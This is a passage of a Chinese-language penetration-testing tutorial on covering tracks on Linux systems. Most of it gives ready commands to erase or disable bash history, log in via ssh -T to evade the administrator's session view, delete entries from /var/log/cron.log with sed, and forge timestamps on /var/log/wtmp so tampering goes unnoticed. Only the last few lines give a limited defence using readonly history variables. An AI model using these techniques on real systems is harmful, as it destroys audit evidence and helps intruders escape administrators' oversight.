-w 将当前历史命令缓冲区命令写入历史命令文件中
-d 删除历史记录中指定的行
查看历史命令
history
删除历史命令(假删除)
history -c
历史记录在每次正确的退出 shell 的时候会存储到 ~/.bash_history 文件中
直接进行编辑该文件能达到清除历史记录的目的
查看历史命令
cat ~/.bash_history
在 Linux 中,你可以使用以下命令来清空某个文件的内容:
> filename
echo -n > filename
其中,filename 是要清空内容的文件名。
这些命令使用了重定向操作符 > 将一个空字符串写入文件,从而清空了文件的内容。
第二个命令使用了 echo -n 打印一个空字符串,并将其重定向到文件中,也能实现同样的效果。
在上文中,我们可以知道,当一个正常的交互式 login shell 登录后,执行命令时,执行的 HISTSIZE 条命令会被记录到缓冲区里,当用户成功注销时,系统会将 HISTSIZE 条命令写入到 HISTFILE 变量中的文件里面,而 HISTFILE 变量默认的位置就是用户家目录下的. bash_history 文件。
所以,如果我们在当前会话中临时取消 HISTFILE 变量,这样就算正常退出会话历史命令也没有地方保存。
unset HISTFILE
或者也可以将 HISTFILE 变量的值给到空设备。当正常退出会话时,命令记录也会保存到 / dev/null。
export HISTFILE=/dev/null
SHELLOPTS 变量是记录了当前会话已经打开的功能选项列表。
查看该变量的值
echo $SHELLOPTS
如果存在 history 功能即说明会将执行的命令保存到缓冲区中,用户正常退出会话时写入 HISTFILE 变量中。
我们可以关闭 history 功能后,将不会记录历史命令执行记录。
set +o history #关闭 history 功能
shopt -u -o history #同 set +o history
notty 登录的会话,默认关闭 history 功能,将不会记录历史命令。
ssh -T user@IP
echo $SHELLOPTS
注意,使用 - T 参数使用的是非交互式的终端。
使用 SSH 命令 ssh -T root@1.1.1.1 (notty 登录) 登录系统,可绕过管理员用户 w 查看。不过管理员可以在进程中发现。(如果使用 putty 远程连接,此时的类型为 pts/1)
经测试,使用 notty,能够绕过以下日志:
~/.bashrc 文件中保存了重要的环境变量
export HISTFILESIZE=0
export HISTSIZE=0
或者直接修改~/.bashrc 文件
vim ~/.bashrc
在 Linux 系统中,HISFILESIZE 参数是一个环境变量,用于指定 shell 命令 history 中保存的命令历史记录文件的最大大小。
默认情况下,Linux shell 会将用户的命令历史记录保存在一个文件中,通常是 ~/.bash_history。HISFILESIZE 参数用于限制该历史记录文件的大小,一旦文件大小超过此限制,较早的命令将被丢弃,以保持文件大小在可接受的范围内。
可以通过在 shell 配置文件(如 ~/.bashrc 或 ~/.bash_profile)中设置 HISTFILESIZE 变量来指定这个值。
如果我们吧大小设置为 0,那么就没有空间保存任何一条命令,那么就达到了不记录命令执行日志的目的了。
然后,重新启动或重新加载 shell 配置文件,使设置生效。
请注意,HISFILESIZE 只控制历史记录文件的大小,而不是 shell 的实际记录行数。要控制 shell 历史记录的行数,请使用 HISTSIZE 参数。
此外,还有其他与命令历史相关的环境变量,如 HISTSIZE(设置 shell 命令历史记录中保存的最大行数),HISTCONTROL(控制历史记录中的重复命令和空白命令的保存方式)等。可以通过查看相关文档或使用 help history 命令来获取更多关于这些变量的信息。
修改环境变量之后,就没有执行命令日志了。
修改后,重新加载配置文件即可
source ~/.bashrc
命令前带空格隐藏命令记录,但是这个功能取决于 HISTCONTROL 变量的设置。
export HISTCONTROL=ignoreboth
export HISTCONTROL=ignorespace
在 Debian10 中,Bash 的默认 HISTCONTROL 变量为 ignoreboth,而在 Centos6 中 Bash 的默认 HISTCONTROL 是 ignoredups。
ignoredups 是忽略连续两条以上的重复命令。
ignoredspace 是忽略命令开头带有空格的命令。
ignoredboth 等价于 ignoredups 和 ignorespace 的组合,即忽略开头带空格的命令,又忽略连续两条以上重复的命令。
只有 HISTCONTROL=ignorespace 或者是 ignoreboth 时,才会忽略命令前带空格的命令。
很多命令即使开头是空格,仍然可以正确执行,因此,在配置了这个环境变量后,执行命令时带上开头空格,命令记录就会被隐藏。
在进行渗透或者提权的过程中,也会使用到计划任务进行提权或者执行命令等操作。
计划任务日志一般保存在 / var/log/cron.log 中,用于记录 cron 任务的执行情况。在 Linux 系统中,cron 是一个计划任务程序,用于在预定时间自动执行指定的命令或脚本。
当 cron 任务被执行时,相关的执行信息(例如执行时间、执行结果等)会被记录在 /var/log/cron.log 文件中。这个文件通常由系统管理员使用,用于跟踪和检查 cron 任务的执行情况,以便及时发现问题、调试任务和进行故障排除。
注意,每个用户的 cron 任务执行情况都会被记录在不同的日志文件中,例如 /var/log/cron.log 可能是在某些 Linux 发行版中的默认日志文件位置,但也可能因系统配置而有所不同。因此,如果想要查看特定用户的 cron 任务执行情况,需要查找该用户的特定日志文件。
使用命令将对应操作删除
sed -i '/{命令特征}/d' /var/log/cron.log
在我们更新了文件之后,应该修改其时间戳,防止被发现修改文件。
一般情况下有四个类型的时间戳
查看时间戳
stat /var/log/wtmp
这里我们可以使用 touch 命令修改 access 和 modify 时间戳
touch -a -d "YYYY-MM-DD HH:MM:SS"/path/to/file
touch -m -d "YYYY-MM-DD HH:MM:SS"/path/to/file
touch -a -d "2021-1-1 12:13:14" /var/log/wtmp
touch -m -d "2021-1-1 12:13:14" /var/log/wtmp
如果想要修改 change 和 birth 时间戳,无法使用 touch 命令修改,只能通过复制文件的方式进行修改。
cp /path/to/source/file /path/to/destination/file
rm /path/to/source/file
mv /path/to/destination/file /path/to/source/file
通过修改 / etc/skel/.bashrc 和每个用户的~/.bashrc 可以简单防止下攻击者直接清除历史命令。
readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTCMD
readonly HISTCONTROL
readonly HISTIGNORE
注意:该方法有局限性,攻击者可以修改~/.bashrc 删掉 readonly 的配置,再去修改环境变量。